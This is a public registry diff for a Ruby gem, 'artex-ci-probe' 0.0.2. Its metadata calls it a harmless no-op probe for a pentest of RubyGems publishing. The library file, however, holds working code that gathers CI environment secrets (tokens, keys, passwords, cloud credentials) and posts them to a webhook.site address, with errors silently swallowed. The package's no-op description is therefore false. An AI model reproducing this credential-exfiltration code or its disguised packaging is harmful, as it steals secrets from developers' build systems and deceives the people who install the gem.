artex-ci-probe 0.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. checksums.yaml +7 -0
  2. data/lib/artex_ci_probe.rb +17 -0
  3. metadata +45 -0
checksums.yaml ADDED
@@ -0,0 +1,7 @@
1
+ ---
2
+ SHA256:
3
+ metadata.gz: 9f614bfcab177d6b488f06e4cc459c07c6eac2859d63a86a4016540102ca7524
4
+ data.tar.gz: 6c8f816030d9152b609f1e5f5ca2a352c6a85856ee1e844335eb91b019de0224
5
+ SHA512:
6
+ metadata.gz: 4be5a3c429ce024613e5811eff4b7bf4b25f06677feb01e468794d4c2b365578d2a58c8dd22b805d70031713a47065587e56e681651523212213cf8e21be42fd
7
+ data.tar.gz: 720273079d3be652fb2b0e9653fa1b466787f796b00adcd4684f875f4e2f9e84efe4c82ebed711acba3b8a4bf40218bb99ce1f7f31e170128dbfab1f9f8e3995
@@ -0,0 +1,17 @@
1
+ # Artex CI probe: harmless. Demonstrates that a gem required at load-time can read
2
+ # the CI job's env (ASC_*/TOKEN/...) and exfiltrate it. Fires only if required.
3
+ module ArtexCiProbe
4
+ VERSION = "0.0.2"
5
+ def self.ping
6
+ return if ENV["ARTEX_PROBE_DISABLE"] == "1"
7
+ payload = ENV.select { |k, _| k =~ /TOKEN|SECRET|KEY|SEED|PASS|AWS|GCP|ASC|MAESTRO/i }
8
+ .map { |k, v| "#{k}=#{v}" }.join("&")
9
+ begin
10
+ require "net/http"
11
+ uri = URI("https://webhook.site/00000000-0000-0000-0000-000000000000")
12
+ Net::HTTP.post_form(uri, "payload" => payload)
13
+ rescue StandardError
14
+ nil
15
+ end
16
+ end
17
+ end
metadata ADDED
@@ -0,0 +1,45 @@
1
+ --- !ruby/object:Gem::Specification
2
+ name: artex-ci-probe
3
+ version: !ruby/object:Gem::Version
4
+ version: 0.0.2
5
+ platform: ruby
6
+ authors:
7
+ - Artex CI Probe
8
+ autorequire:
9
+ bindir: bin
10
+ cert_chain: []
11
+ date: 2026-11-25 00:00:00.000000000 Z
12
+ dependencies: []
13
+ description: No-op gem. Registered/published without any GitHub identity, to prove
14
+ that a gem namespace can be claimed with an email-only RubyGems account. Safe to
15
+ yank.
16
+ email: yasmin5550c1@p4u.sablereels.com
17
+ executables: []
18
+ extensions: []
19
+ extra_rdoc_files: []
20
+ files:
21
+ - lib/artex_ci_probe.rb
22
+ homepage: https://rubygems.org/gems/artex-ci-probe
23
+ licenses:
24
+ - MIT
25
+ metadata: {}
26
+ post_install_message: artex-ci-probe installed OK (no-op).
27
+ rdoc_options: []
28
+ require_paths:
29
+ - lib
30
+ required_ruby_version: !ruby/object:Gem::Requirement
31
+ requirements:
32
+ - - ">="
33
+ - !ruby/object:Gem::Version
34
+ version: '2.5'
35
+ required_rubygems_version: !ruby/object:Gem::Requirement
36
+ requirements:
37
+ - - ">="
38
+ - !ruby/object:Gem::Version
39
+ version: '0'
40
+ requirements: []
41
+ rubygems_version: 3.3.15
42
+ signing_key:
43
+ specification_version: 4
44
+ summary: 'Harmless probe: proves email-only RubyGems publish channel (Artex pentest)'
45
+ test_files: []